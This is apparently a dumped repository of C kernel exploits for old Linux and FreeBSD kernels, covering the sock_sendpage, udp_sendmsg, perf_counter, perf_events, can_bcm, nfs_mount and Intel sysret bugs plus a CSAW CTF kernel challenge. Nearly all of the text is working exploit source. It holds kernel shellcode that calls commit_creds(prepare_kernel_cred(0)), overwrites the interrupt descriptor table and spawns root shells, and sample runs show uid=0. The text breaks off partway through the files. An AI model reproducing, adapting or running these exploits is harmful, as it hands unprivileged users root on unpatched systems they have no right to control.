├── README.md ├── nfs_mount.c ├── csaw.c ├── perf_stack.c ├── Intel_sysret.c ├── perf_exp.c ├── CVE-2009-2692-sock_sendpage.c ├── CVE-2009-2698-udp_sendmsg.c └── can_bcm_exp.c /README.md: -------------------------------------------------------------------------------- 1 | Some kernel exploits i wrote: 2 | 3 | 1. CVE-2009-2692-sock_sendpage.c 4 | 2. CVE-2009-2698-udp_sendmsg.c 5 | 3. Intel_sysret.c 6 | 4. can_bcm_exp.c 7 | 5. csaw.c 8 | 6. nfs_mount.c 9 | 7. perf_exp.c 10 | 8. perf_stack.c 11 | -------------------------------------------------------------------------------- /nfs_mount.c: -------------------------------------------------------------------------------- 1 | /* nfs_exp.c - CVE: 2010-2020 Freebsd kernel nfs_mount stack buffer overflow exploit. 2 | * 3 | * by wzt http://www.cloud-sec.org 4 | * 5 | * $ ./nfs_exp 6 | * [+] trigger nmount() ... 7 | * Segmentation fault (core dumped) 8 | * $ id 9 | * uid=0(root) gid=0(wheel) egid=1001(wzt) groups=1001(wzt) 10 | * 11 | */ 12 | 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | 25 | #define NFS_ARGSVERSION 3 26 | 27 | #define OFFSET 272 28 | #define FSNAME "nfs" 29 | #define FAKE_PATH "/tmp/nfs" 30 | 31 | #define CS 0x33 32 | #define SS 0X3b 33 | #define EFLAGS 0x246 34 | #define USER_STACK(x) (x + sizeof(x)) 35 | 36 | char stack[4096 * 1024]; 37 | 38 | void exit_user_code(void); 39 | 40 | void kernel_shellcode(void) 41 | { 42 | asm("movl %%fs:0, %%eax\n\t" 43 | "movl 0x4(%%eax), %%eax\n\t" 44 | "movl 0x30(%%eax), %%eax\n\t" 45 | "xorl %%ecx, %%ecx\n\t" 46 | "movl %%ecx, 0x4(%%eax)\n\t" 47 | "movl %%ecx, 0x8(%%eax)\n\t" 48 | "pop %%ebp\n\t" 49 | "movl %0, 0x10(%%esp)\n\t" 50 | "movl %1, 0xc(%%esp)\n\t" 51 | "movl %2, 0x8(%%esp)\n\t" 52 | "movl %3, 0x4(%%esp)\n\t" 53 | "movl %4, 0x0(%%esp)\n\t" 54 | "iret" 55 | ::"r"(SS), "r"(USER_STACK(stack)), "r"(EFLAGS), "r"(CS), "r"(exit_user_code)); 56 | } 57 | 58 | void exit_user_code(void) 59 | { 60 | printf("[+] exploit success!\n"); 61 | } 62 | 63 | void trigger(void) 64 | { 65 | struct nfs_args fake_na; 66 | struct iovec fake_iov[6]; 67 | 68 | fake_na.fh = (char *)malloc(OFFSET); 69 | if (!fake_na.fh) 70 | return ; 71 | 72 | memset(fake_na.fh, 'A', OFFSET); 73 | fake_na.fhsize = OFFSET; 74 | fake_na.version = NFS_ARGSVERSION; 75 | 76 | *(unsigned int *)(fake_na.fh + OFFSET - 4) = (unsigned int)kernel_shellcode; 77 | 78 | mkdir(FAKE_PATH, 0777); 79 | 80 | fake_iov[0].iov_base = "fstype"; 81 | fake_iov[0].iov_len = strlen(fake_iov[0].iov_base) + 1; 82 | 83 | fake_iov[1].iov_base = FSNAME; 84 | fake_iov[1].iov_len = strlen(fake_iov[1].iov_base) + 1; 85 | 86 | fake_iov[2].iov_base = "fspath"; 87 | fake_iov[2].iov_len = strlen(fake_iov[2].iov_base) + 1; 88 | 89 | fake_iov[3].iov_base = FAKE_PATH; 90 | fake_iov[3].iov_len = strlen(fake_iov[3].iov_base) + 1; 91 | 92 | fake_iov[4].iov_base = "nfs_args"; 93 | fake_iov[4].iov_len = strlen(fake_iov[4].iov_base) + 1; 94 | 95 | fake_iov[5].iov_base = &fake_na; 96 | fake_iov[5].iov_len = sizeof(fake_na); 97 | 98 | printf("[+] trigger nmount() ...\n"); 99 | if (nmount(fake_iov, 6, 0) < 0) { 100 | printf("[-] exploit failed.\n"); 101 | free(fake_na.fh); 102 | return ; 103 | } 104 | 105 | unmount(FAKE_PATH, 0); 106 | rmdir(FAKE_PATH); 107 | free(fake_na.fh); 108 | } 109 | 110 | int main(void) 111 | { 112 | trigger(); 113 | 114 | return 0; 115 | } -------------------------------------------------------------------------------- /csaw.c: -------------------------------------------------------------------------------- 1 | /* 2 | * SAW CTF Kernel Exploit Challenge without CC_STACKPROTECTOR. 3 | * 4 | * by wzt 5 | * 6 | * [wzt@localhost csaw]$ ./exp 128 7 | * [+] looking for symbols... 8 | * [+] found commit_creds addr at 0xc0446524. 9 | * [+] found prepare_kernel_cred addr at 0xc0446710. 10 | * [+] open /proc/csaw ok. 11 | * [+] write 128 bytes to /proc/csaw. 12 | * [+] We are root! 13 | * sh-3.2# id 14 | * uid=0(root) gid=0(root) 15 | * sh-3.2# uname -a 16 | * Linux localhost.localdomain 2.6.32 #3 SMP Sat Dec 25 12:23:19 CST 2010 17 | * i686 i686 i386 GNU/Linux 18 | * sh-3.2# 19 | 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | 34 | #define KALLSYMS_NAME "/proc/kallsyms" 35 | 36 | #define USER_CS 0x73 37 | #define USER_SS 0x7b 38 | #define USER_FL 0x246 39 | #define STACK(x) (x + sizeof(x) - 40) 40 | 41 | void exit_code(); 42 | char exit_stack[1024 * 1024]; 43 | static void exit_kernel(); 44 | 45 | typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); 46 | typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); 47 | _commit_creds commit_creds; 48 | _prepare_kernel_cred prepare_kernel_cred; 49 | 50 | int (*kernel_printk)(const char *fmt, ...); 51 | 52 | static unsigned int uid, gid; 53 | 54 | int __attribute__((regparm(3))) 55 | kernel_code(struct file *file, void *vma) 56 | { 57 | commit_creds(prepare_kernel_cred(0)); 58 | exit_kernel(); 59 | return -1; 60 | } 61 | 62 | static inline __attribute__((always_inline)) void *get_current() 63 | { 64 | unsigned long curr; 65 | 66 | __asm__ __volatile__ ( 67 | "movl %%esp, %%eax ;" 68 | "andl %1, %%eax ;" 69 | "movl (%%eax), %0" 70 | : "=r" (curr) 71 | : "i" (~8191) 72 | ); 73 | 74 | return (void *) curr; 75 | } 76 | 77 | static inline __attribute__((always_inline)) void exit_kernel() 78 | { 79 | __asm__ __volatile__ ( 80 | "movl %0, 0x10(%%esp) ;" 81 | "movl %1, 0x0c(%%esp) ;" 82 | "movl %2, 0x08(%%esp) ;" 83 | "movl %3, 0x04(%%esp) ;" 84 | "movl %4, 0x00(%%esp) ;" 85 | "iret" 86 | ::"i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL), 87 | "i" (USER_CS), "r" (exit_code) 88 | ); 89 | } 90 | 91 | void test_kernel_code(void) 92 | { 93 | kernel_printk = 0xc04307ab; 94 | kernel_printk("We are in kernel.\n"); 95 | exit_kernel(); 96 | } 97 | 98 | void exit_code() 99 | { 100 | if (getuid() != 0) { 101 | fprintf(stderr, "[-] Get root failed\n"); 102 | exit(-1); 103 | } 104 | 105 | printf("[+] We are root!\n"); 106 | execl("/bin/sh", "sh", "-i", NULL); 107 | } 108 | 109 | unsigned long find_symbol_by_proc(char *file_name, char *symbol_name) 110 | { 111 | FILE *s_fp; 112 | char buff[200]; 113 | char *p = NULL, *p1 = NULL; 114 | unsigned long addr = 0; 115 | 116 | s_fp = fopen(file_name, "r"); 117 | if (s_fp == NULL) { 118 | printf("open %s failed.\n", file_name); 119 | return 0; 120 | } 121 | 122 | while (fgets(buff, 200, s_fp) != NULL) { 123 | if (strstr(buff, symbol_name) != NULL) { 124 | buff[strlen(buff) - 1] = '\0'; 125 | p = strchr(strchr(buff, ' ') + 1, ' '); 126 | ++p; 127 | 128 | if (!p) { 129 | return 0; 130 | } 131 | if (!strcmp(p, symbol_name)) { 132 | p1 = strchr(buff, ' '); 133 | *p1 = '\0'; 134 | sscanf(buff, "%lx", &addr); 135 | //addr = strtoul(buff, NULL, 16); 136 | printf("[+] found %s addr at 0x%x.\n", 137 | symbol_name, addr); 138 | break; 139 | } 140 | } 141 | } 142 | 143 | fclose(s_fp); 144 | return addr; 145 | } 146 | 147 | void trigger(int len) 148 | { 149 | FILE *fp; 150 | char buff[128]; 151 | 152 | uid = getuid(); 153 | gid = getgid(); 154 | setresuid(uid, uid, uid); 155 | setresgid(gid, gid, gid); 156 | 157 | printf("[+] looking for symbols...\n"); 158 | commit_creds = (_commit_creds) 159 | find_symbol_by_proc(KALLSYMS_NAME, "commit_creds"); 160 | if (!commit_creds) { 161 | printf("[-] not found commit_creds addr.\n"); 162 | return ; 163 | } 164 | 165 | prepare_kernel_cred = 166 | (_prepare_kernel_cred)find_symbol_by_proc(KALLSYMS_NAME, 167 | "prepare_kernel_cred"); 168 | if (!prepare_kernel_cred) { 169 | printf("[-] not found prepare_kernel_cred addr.\n"); 170 | return ; 171 | } 172 | 173 | fp = fopen("/proc/csaw", "w"); 174 | if (!fp) { 175 | perror("fopen"); 176 | return ; 177 | } 178 | printf("[+] open /proc/csaw ok.\n"); 179 | 180 | printf("[+] write %d bytes to /proc/csaw.\n", len); 181 | memset(buff, 0x41, len); 182 | *(int *)(buff + 64) = 0x9079257d; 183 | *(int *)(buff + 64 + 4) = 0x9079257d; 184 | 185 | fwrite(buff, 1, 64 + 8, fp); 186 | fclose(fp); 187 | } 188 | 189 | void usage(char *pro) 190 | { 191 | fprintf(stdout, "usage: %s \n", pro); 192 | } 193 | 194 | int main(int argc, char **argv) 195 | { 196 | if (argc == 1) { 197 | usage(argv[0]); 198 | return 0; 199 | } 200 | 201 | trigger(atoi(argv[1])); 202 | 203 | return 0; 204 | } 205 | -------------------------------------------------------------------------------- /perf_stack.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Linux kernel 2.6.31 perf_counter_open stack buffer overflow exploit. 3 | * 4 | * by wzt http://www.cloud-sec.org 5 | * 6 | * arch: x86_64 7 | * 8 | * [wzt@localhost perf]$ ./perf_exp 9 | * [+] looking for symbols... 10 | * [+] found commit_creds addr at 0x810555b5. 11 | * [+] found commit_creds addr: 0xffffffff810555b5 12 | * [+] found prepare_kernel_cred addr at 0x8105579b. 13 | * [+] found prepare_kernel_cred addr: 0xffffffff8105579b 14 | * [+] alloc fake_attr ok. 15 | * [+] start addr: 0x702050, end adr: 0x702130 16 | * [+] We are root! 17 | * sh-3.2# 18 | * 19 | */ 20 | 21 | 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | 28 | #define __NR_perf_counter_open 298 29 | #define PERF_ATTR_SIZE_VER0 64 30 | 31 | #define PAGE_SIZE 0x120 32 | 33 | #define __ALIGN_MASK(x,mask) (((x)+(mask))&~(mask)) 34 | #define ALIGN(x,a) __ALIGN_MASK(x,(typeof(x))(a)-1) 35 | #define PTR_ALIGN(p, a) ((typeof(p))ALIGN((unsigned long)(p), (a))) 36 | 37 | #define KALLSYMS_NAME "/proc/kallsyms" 38 | #define USER_CS 0x33 39 | #define USER_SS 0x2b 40 | #define USER_FL 0x246 41 | 42 | #define STACK(x) (x + sizeof(x)) 43 | 44 | static unsigned int uid, gid; 45 | 46 | typedef int __attribute__((regparm(1)))(* _commit_creds)(unsigned long cred); 47 | typedef unsigned long __attribute__((regparm(1)))(* _prepare_kernel_cred)(unsigned long cred); 48 | _commit_creds commit_creds; 49 | _prepare_kernel_cred prepare_kernel_cred; 50 | 51 | void exit_user_code(void); 52 | char user_stack[1024 * 1024]; 53 | 54 | struct perf_counter_attr { 55 | int tmp; 56 | int size; 57 | }; 58 | 59 | static inline __attribute__((always_inline)) void *exit_kernel(void) 60 | { 61 | __asm__ __volatile__ ( 62 | "movq %0, 0x20(%%rsp)\n\t" 63 | "movq %1, 0x18(%%rsp)\n\t" 64 | "movq %2, 0x10(%%rsp)\n\t" 65 | "movq %3, 0x08(%%rsp)\n\t" 66 | "movq %4, 0x00(%%rsp)\n\t" 67 | "swapgs\n\t" 68 | "iretq" 69 | ::"i"(USER_SS), "r"(STACK(user_stack)), "i"(USER_FL), "i"(USER_CS), "r"(exit_user_code) 70 | ); 71 | } 72 | 73 | void kernel_shellcode(void) 74 | { 75 | commit_creds(prepare_kernel_cred(0)); 76 | exit_kernel(); 77 | } 78 | 79 | void exit_user_code(void) 80 | { 81 | if (getuid() != 0) { 82 | printf("[-] exploit failed.\n"); 83 | exit(-1); 84 | } 85 | 86 | printf("[+] We are root!\n"); 87 | execl("/bin/sh", "sh", "-i", NULL); 88 | } 89 | 90 | unsigned long find_symbol_by_proc(char *file_name, char *symbol_name) 91 | { 92 | FILE *s_fp; 93 | char buff[200]; 94 | char *p = NULL, *p1 = NULL; 95 | unsigned long addr = 0; 96 | 97 | s_fp = fopen(file_name, "r"); 98 | if (s_fp == NULL) { 99 | printf("open %s failed.\n", file_name); 100 | return 0; 101 | } 102 | 103 | while (fgets(buff, 200, s_fp) != NULL) { 104 | if (strstr(buff, symbol_name) != NULL) { 105 | buff[strlen(buff) - 1] = '\0'; 106 | p = strchr(strchr(buff, ' ') + 1, ' '); 107 | ++p; 108 | if (!p) 109 | return 0; 110 | 111 | if (!strcmp(p, symbol_name)) { 112 | p1 = strchr(buff, ' '); 113 | *p1 = '\0'; 114 | sscanf(buff, "%lx", &addr); 115 | printf("[+] found %s addr at 0x%x.\n", symbol_name, addr); 116 | break; 117 | } 118 | } 119 | } 120 | 121 | fclose(s_fp); 122 | return addr; 123 | } 124 | 125 | void perf_exp(void) 126 | { 127 | struct perf_counter_attr *fake_attr; 128 | unsigned long *addr, *end; 129 | unsigned long idx = 0; 130 | 131 | fake_attr = (struct perf_counter_attr *)malloc(PAGE_SIZE); 132 | if (!fake_attr) { 133 | printf("[-] alloc fake_attr failed.\n"); 134 | return ; 135 | } 136 | printf("[+] alloc fake_attr ok.\n"); 137 | 138 | memset((void *)fake_attr, '\0', PAGE_SIZE); 139 | fake_attr->tmp = 0; 140 | fake_attr->size = 0x120; 141 | 142 | addr = PTR_ALIGN((void *)fake_attr + 0x40, sizeof(unsigned long)); 143 | end = PTR_ALIGN((void *)fake_attr + PAGE_SIZE, sizeof(unsigned long)); 144 | printf("[+] start addr: 0x%lx, end adr: 0x%lx\n", addr, end); 145 | 146 | for (; addr < end; idx += 8, addr +=1 ) { 147 | if (idx % 64 == 0) 148 | continue; 149 | *addr = (unsigned long)kernel_shellcode; 150 | } 151 | 152 | syscall(__NR_perf_counter_open, fake_attr, getpid(), 0, 0, 0); 153 | } 154 | 155 | int perf_init(void) 156 | { 157 | uid = getuid(); 158 | gid = getgid(); 159 | 160 | printf("[+] looking for symbols...\n"); 161 | commit_creds = (_commit_creds)find_symbol_by_proc(KALLSYMS_NAME, "commit_creds"); 162 | if (!commit_creds) { 163 | printf("[-] not found commit_creds addr.\n"); 164 | return -1; 165 | } 166 | printf("[+] found commit_creds addr: %p\n", commit_creds); 167 | 168 | prepare_kernel_cred =(_prepare_kernel_cred)find_symbol_by_proc(KALLSYMS_NAME, 169 | "prepare_kernel_cred"); 170 | if (!prepare_kernel_cred) { 171 | printf("[-] not found prepare_kernel_cred addr.\n"); 172 | return -1; 173 | } 174 | printf("[+] found prepare_kernel_cred addr: %p\n", prepare_kernel_cred); 175 | } 176 | 177 | int main(void) 178 | { 179 | if (perf_init() == -1) 180 | return -1; 181 | 182 | perf_exp(); 183 | 184 | return 0; 185 | } 186 | -------------------------------------------------------------------------------- /Intel_sysret.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Intel CPU sysret - Freebsd 64bit local Privilege Escalation Exploit. 3 | * 4 | * by wzt http://www.cloud-sec.org 5 | * 6 | * test on freebsd 9.0, 8.3 64bit versions. 7 | * 8 | * [+] get sym Xofl at adr 0xffffffff80b1c730 9 | * [+] get sym Xbnd at adr 0xffffffff80b1c760 10 | * [+] get sym Xill at adr 0xffffffff80b1c790 11 | * [+] get sym Xdna at adr 0xffffffff80b1c7c0 12 | * [+] get sym Xpage at adr 0xffffffff80b1cb00 13 | * [+] get sym Xfpu at adr 0xffffffff80b1c880 14 | * [+] get sym Xalign at adr 0xffffffff80b1c940 15 | * [+] get sym Xmchk at adr 0xffffffff80b1c820 16 | * [+] get sym Xxmm at adr 0xffffffff80b1c8b0 17 | * [+] get idt addr at 0xffffffff811b1560 18 | * [+] mmap addr at 0x7ffffffff000 19 | * [+] fake rsp: 0xffffffff811b169f 20 | * [+] fake_pf_addr: 0x980b1cb00 21 | * [+] mmap addr at 0x980b1c000 22 | * [+] Got root! 23 | * # id 24 | * uid=0(root) gid=0(wheel) groups=0(wheel) 25 | * # uname -a 26 | * FreeBSD exploit 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Mon Dec 10 07:31:51 CST 2012 root@exploit:/usr/src/sys /amd64/compile/GENERIC amd64 27 | * # 28 | * 29 | */ 30 | 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | 38 | #define _WANT_UCRED 39 | #include 40 | #include 41 | #include 42 | #include 43 | 44 | #define IDT_NUM 9 45 | 46 | struct idt_sym_arg { 47 | int idx; 48 | uint64_t addr; 49 | char sym_name[32]; 50 | }idt_arg[IDT_NUM] = {{IDT_OF, 0, "Xofl"}, 51 | {IDT_BR, 0, "Xbnd"}, 52 | {IDT_UD, 0, "Xill"}, 53 | {IDT_NM, 0, "Xdna"}, 54 | {IDT_PF, 0, "Xpage"}, 55 | {IDT_MF, 0, "Xfpu"}, 56 | {IDT_AC, 0, "Xalign"}, 57 | {IDT_MC, 0, "Xmchk"}, 58 | {IDT_XF, 0, "Xxmm"}}; 59 | 60 | static struct gate_descriptor *g_idt = NULL; 61 | 62 | static char fake_pf_code[] = "\x0f\x01\xf8" 63 | "\x48\x89\xdc" 64 | "\x48\xb8\x00\x00\x00\x00\x00\x00\x00\x00" 65 | "\xff\xe0"; 66 | 67 | struct gate_descriptor *sidt(void) 68 | { 69 | struct region_descriptor idt; 70 | 71 | asm("sidt %0":"=m"(idt)); 72 | 73 | return (struct gate_descriptor *)idt.rd_base; 74 | } 75 | 76 | void setidt(struct gate_descriptor *idt, int idx, uintptr_t func, 77 | int typ, int dpl, int ist) 78 | { 79 | struct gate_descriptor *ip; 80 | 81 | ip = idt + idx; 82 | ip->gd_looffset = func; 83 | ip->gd_selector = GSEL(GCODE_SEL, SEL_KPL); 84 | ip->gd_ist = ist; 85 | ip->gd_xx = 0; 86 | ip->gd_type = typ; 87 | ip->gd_dpl = dpl; 88 | ip->gd_p = 1; 89 | ip->gd_hioffset = func >> 16; 90 | } 91 | 92 | uint64_t get_sym_addr(char *sym_name) 93 | { 94 | struct kld_sym_lookup ksym; 95 | 96 | ksym.version = sizeof(ksym); 97 | ksym.symname = sym_name; 98 | 99 | if (kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) { 100 | perror("kldsym"); 101 | return -1; 102 | } 103 | 104 | return ksym.symvalue; 105 | } 106 | 107 | int setup_idt_syms(void) 108 | { 109 | int i; 110 | 111 | for (i = 0; i < IDT_NUM; i++) { 112 | idt_arg[i].addr = get_sym_addr(idt_arg[i].sym_name); 113 | if (idt_arg[i].addr == -1) { 114 | printf("[-] get sym %s failed\n", idt_arg[i].sym_name); 115 | return -1; 116 | } 117 | printf("[+] get sym %s at adr 0x%lx\n", 118 | idt_arg[i].sym_name, idt_arg[i].addr); 119 | } 120 | 121 | return 0; 122 | } 123 | 124 | int setup(void) 125 | { 126 | if (setup_idt_syms() == -1) 127 | return -1; 128 | 129 | g_idt = sidt(); 130 | if (!g_idt) 131 | return -1; 132 | printf("[+] get idt addr at 0x%lx\n", g_idt); 133 | 134 | return 0; 135 | } 136 | 137 | void exit_user_code(void) 138 | { 139 | printf("[+] Got root!\n"); 140 | execl("/bin/sh", "sh", "-i", NULL); 141 | exit(0); 142 | } 143 | 144 | void kernel_shellcode(void) 145 | { 146 | struct thread *td; 147 | struct ucred *cred; 148 | int i; 149 | 150 | for (i = 0; i < IDT_NUM; i++) { 151 | setidt(g_idt, idt_arg[i].idx, (uintptr_t)idt_arg[i].addr, 152 | SDT_SYSIGT, SEL_KPL, 0); 153 | } 154 | 155 | asm("mov %%gs:0, %0":"=r"(td)); 156 | 157 | cred = td->td_proc->p_ucred; 158 | cred->cr_uid = cred->cr_ruid = cred->cr_rgid = 0; 159 | cred->cr_groups[0] = 0; 160 | 161 | asm("swapgs\n" 162 | "sysretq" 163 | ::"c"(exit_user_code)); 164 | } 165 | 166 | int trigger(void) 167 | { 168 | void *addr = (void *)0x00007ffffffff000; 169 | void *fake_pf_addr; 170 | void *new_addr; 171 | uint64_t fake_rsp; 172 | 173 | new_addr = mmap(addr, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, 174 | MAP_ANON | MAP_FIXED, -1, 0); 175 | if (new_addr == MAP_FAILED) { 176 | perror("mmap"); 177 | return -1; 178 | } 179 | printf("[+] mmap addr at %p\n", new_addr); 180 | 181 | *(char *)(0x00007ffffffffffe) = 0x0f; 182 | *(char *)(0x00007ffffffffffe + 1) = 0x05; 183 | 184 | fake_rsp = (uint64_t)(g_idt + 14) + 80 + 15; 185 | printf("[+] fake rsp: 0x%lx\n", fake_rsp); 186 | 187 | fake_pf_addr = (void *)(0x900000000 | (idt_arg[4].addr & 0xffffffff)); 188 | printf("[+] fake_pf_addr: 0x%lx\n", fake_pf_addr); 189 | 190 | new_addr = mmap((void *)((uint64_t)fake_pf_addr & ~4095), 4096, 191 | PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0); 192 | if (new_addr == MAP_FAILED) { 193 | perror("mmap"); 194 | return -1; 195 | } 196 | printf("[+] mmap addr at %p\n", new_addr); 197 | 198 | memcpy(fake_pf_addr, fake_pf_code, 18); 199 | *(uint64_t *)(fake_pf_addr + 8) = (uint64_t)kernel_shellcode; 200 | 201 | asm("movq %%rsp, %%rbx\n" 202 | "movq %0, %%rsp\n" 203 | "movq $0x18, %%rax\n" 204 | "movq $0x0, %%rdi\n" 205 | "movq $0x00007ffffffffffe, %%rdx\n" 206 | "jmpq *%%rdx" 207 | ::"r"(fake_rsp)); 208 | 209 | return 0; 210 | } 211 | 212 | void banner(void) 213 | { 214 | printf("Intel CPU sysret - Freebsd 64bit local Privilege Escalation Exploit\n"); 215 | printf("exploit by wzt http://www.cloud-sec.org\n\n"); 216 | } 217 | 218 | int main(void) 219 | { 220 | banner(); 221 | 222 | if (setup() == -1) 223 | return -1; 224 | 225 | if (trigger() == -1) 226 | return -1; 227 | 228 | return 0; 229 | } -------------------------------------------------------------------------------- /perf_exp.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Linux kernel perf_events local root exploit 3 | * 4 | * by wzt 2013 http://www.cloud-sec.org 5 | * 6 | * gcc -o perf_exp per_exp.c -O2 7 | * 8 | * target: 2.6.37 - 3.x 9 | * 10 | * test on: 11 | * rhel6.3/6.4 x86_64 12 | * rhel6.3 + 3.2 kernel 13 | */ 14 | 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | 27 | #define KALLSYMS_NAME "/boot/System.map-2.6.32-279.el6.x86_64" 28 | 29 | #define BASE 0x380000000 30 | #define SIZE 0x010000000 31 | #define KSIZE 0x2000000 32 | 33 | #define USER_CS 0x33 34 | #define USER_SS 0x2b 35 | #define USER_FL 0x246 36 | 37 | #define STACK(x) (x + sizeof(x)) 38 | 39 | typedef int __attribute__((regparm(1)))(*_commit_creds)(unsigned long cred); 40 | typedef unsigned long __attribute__((regparm(1)))(*_prepare_kernel_cred)(unsigned long cred); 41 | _commit_creds commit_creds; 42 | _prepare_kernel_cred prepare_kernel_cred; 43 | 44 | void exit_user_code(void); 45 | char user_stack[1024 * 1024]; 46 | 47 | uint64_t *orig_idt_handler; 48 | 49 | unsigned char kern_sc[] = "\x48\xc7\xc3\x40\x08\x40\x00\xff\xe3"; 50 | 51 | struct idtr { 52 | uint16_t limit; 53 | uint64_t addr; 54 | }__attribute__((packed)); 55 | 56 | void exit_user_code(void) 57 | { 58 | if (getuid() != 0) { 59 | printf("[-] exploit failed.\n"); 60 | exit(-1); 61 | } 62 | 63 | printf("[+] Got root shell!\n"); 64 | execl("/bin/bash", "sh", "-i", NULL); 65 | } 66 | 67 | void kernel_shellcode(void) 68 | { 69 | asm volatile("swapgs\n\t" 70 | "movq orig_idt_handler, %rsi\n\t" 71 | "movq $-1, (%rsi)\n\t" 72 | "movq $0, %rdi\n\t" 73 | "movq $prepare_kernel_cred, %rsi\n\t" 74 | "movq (%rsi), %rsi\n\t" 75 | "callq *%rsi\n\t" 76 | "movq %rax, %rdi\n\t" 77 | "movq $commit_creds, %rsi\n\t" 78 | "movq (%rsi), %rsi\n\t" 79 | "callq *%rsi\n\t" 80 | "movq $0x2b, 0x20(%rsp)\n\t" 81 | "movq $user_stack, %rbx\n\t" 82 | "addq $0x100000, %rbx\n\t" 83 | "movq %rbx, 0x18(%rsp)\n\t" 84 | "movq $0x246, 0x10(%rsp)\n\t" 85 | "movq $0x33, 0x08(%rsp)\n\t" 86 | "movq $exit_user_code, %rbx\n\t" 87 | "movq %rbx, 0x00(%rsp)\n\t" 88 | "swapgs\n\t" 89 | "iretq"); 90 | } 91 | 92 | int perf_event_open(uint32_t offset) 93 | { 94 | struct perf_event_attr p_attr; 95 | int fd; 96 | 97 | memset(&p_attr, 0, sizeof(struct perf_event_attr)); 98 | p_attr.type = PERF_TYPE_SOFTWARE; 99 | p_attr.size = sizeof(struct perf_event_attr); 100 | p_attr.config = offset; 101 | p_attr.mmap = 1; 102 | p_attr.freq = 1; 103 | 104 | fd = syscall(__NR_perf_event_open, &p_attr, 0, -1, -1, 0); 105 | if (fd == -1) { 106 | perror("perf_event_open"); 107 | return -1; 108 | } 109 | 110 | if (close(fd) == -1) { 111 | perror("close"); 112 | return -1; 113 | } 114 | 115 | return 0; 116 | } 117 | 118 | unsigned long find_symbol_by_proc(char *file_name, char *symbol_name) 119 | { 120 | FILE *s_fp; 121 | char buff[200]; 122 | char *p = NULL, *p1 = NULL; 123 | unsigned long addr = 0; 124 | 125 | s_fp = fopen(file_name, "r"); 126 | if (s_fp == NULL) { 127 | printf("open %s failed.\n", file_name); 128 | return 0; 129 | } 130 | 131 | while (fgets(buff, 200, s_fp) != NULL) { 132 | if (strstr(buff, symbol_name) != NULL) { 133 | buff[strlen(buff) - 1] = '\0'; 134 | p = strchr(strchr(buff, ' ') + 1, ' '); 135 | ++p; 136 | if (!p) 137 | return 0; 138 | 139 | if (!strcmp(p, symbol_name)) { 140 | p1 = strchr(buff, ' '); 141 | *p1 = '\0'; 142 | sscanf(buff, "%lx", &addr); 143 | break; 144 | } 145 | } 146 | } 147 | 148 | fclose(s_fp); 149 | return addr; 150 | } 151 | 152 | int perf_symbol_init(void) 153 | { 154 | struct utsname os_ver; 155 | char system_map[128]; 156 | 157 | if (uname(&os_ver) == -1) { 158 | perror("uname"); 159 | return -1; 160 | } 161 | 162 | printf("[+] target kernel: %s\tarch: %s\n", os_ver.release, os_ver.machine); 163 | 164 | snprintf(system_map, sizeof(system_map), 165 | "/boot/System.map-%s", os_ver.release); 166 | printf("[+] looking for symbols...\n"); 167 | commit_creds = (_commit_creds)find_symbol_by_proc(system_map, "commit_creds"); 168 | if (!commit_creds) { 169 | printf("[-] not found commit_creds addr.\n"); 170 | return -1; 171 | } 172 | printf("[+] found commit_creds addr: %p\n", commit_creds); 173 | 174 | prepare_kernel_cred =(_prepare_kernel_cred)find_symbol_by_proc(system_map, 175 | "prepare_kernel_cred"); 176 | if (!prepare_kernel_cred) { 177 | printf("[-] not found prepare_kernel_cred addr.\n"); 178 | return -1; 179 | } 180 | printf("[+] found prepare_kernel_cred addr: %p\n", prepare_kernel_cred); 181 | } 182 | 183 | void exploit_banner(void) 184 | { 185 | printf("Linux kernel perf_events(2.6.37 - 3.x) local root exploit.\n" 186 | "by wzt 2013\thttp://www.cloud-sec.org\n\n"); 187 | } 188 | 189 | int main() 190 | { 191 | struct idtr idt; 192 | uint64_t kbase; 193 | uint8_t *code; 194 | uint32_t *map; 195 | int i; 196 | int idt_offset; 197 | 198 | exploit_banner(); 199 | 200 | if (perf_symbol_init() == -1) 201 | return -1; 202 | 203 | map = mmap((void*)BASE, SIZE, PROT_READ | PROT_WRITE, 204 | MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0); 205 | if (map != (void *)BASE) { 206 | perror("mmap"); 207 | return -1; 208 | } 209 | printf("[+] mmap at %p ok.\n", (void *)map); 210 | memset(map, 0, SIZE); 211 | 212 | if (perf_event_open(-1) == -1) 213 | return -1; 214 | 215 | if (perf_event_open(-2) == -1) 216 | return -1; 217 | 218 | for (i = 0; i < SIZE/4; i++) { 219 | if (map[i]) { 220 | assert(map[i+1]); 221 | break; 222 | } 223 | } 224 | assert(i 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | 33 | //#define X86_64 34 | 35 | #define PAYLOAD_SIZE 1024 36 | #define KALLSYMS_NAME "/proc/kallsyms" 37 | 38 | #ifdef X86_64 39 | #define USER_CS 0x33 40 | #define USER_SS 0x2b 41 | #define USER_FL 0x246 42 | #else 43 | #define USER_CS 0x73 44 | #define USER_SS 0x7b 45 | #define USER_FL 0x246 46 | #endif 47 | #define STACK(x) (x + sizeof(x)) 48 | 49 | typedef int __attribute__((regparm(1)))(*_commit_creds)(unsigned long cred); 50 | typedef unsigned long __attribute__((regparm(1)))(*_prepare_kernel_cred)(unsigned long cred); 51 | _commit_creds commit_creds; 52 | _prepare_kernel_cred prepare_kernel_cred; 53 | static unsigned int uid, gid; 54 | 55 | void exit_user_code(void); 56 